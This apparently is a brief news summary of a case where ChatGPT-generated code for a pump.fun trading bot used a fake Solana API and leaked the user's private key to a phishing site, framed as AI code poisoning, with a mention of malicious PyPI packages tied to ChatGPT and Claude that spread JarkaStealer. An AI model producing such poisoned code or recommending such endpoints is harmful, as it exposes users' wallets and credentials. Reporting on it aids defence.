A user's cryptocurrency wallet was compromised after using code generated by ChatGPT to create a trading bot. The AI model provided code that included a backdoor, sending the user's private key to a phishing website, resulting in a loss of approximately $2,500. This incident highlights the risks of AI code poisoning, where AI models can be manipulated to produce malicious code. The user had asked ChatGPT for assistance in writing a bot for pumpfun, but the AI recommended a fake Solana API website, leading to the security breach. Blockchain security firm Slowmits confirmed the incident, and similar malicious activities involving AI models like ChatGPT and Claude have been found on PyPI, deploying the dangerous information stealer, JarkaStealer.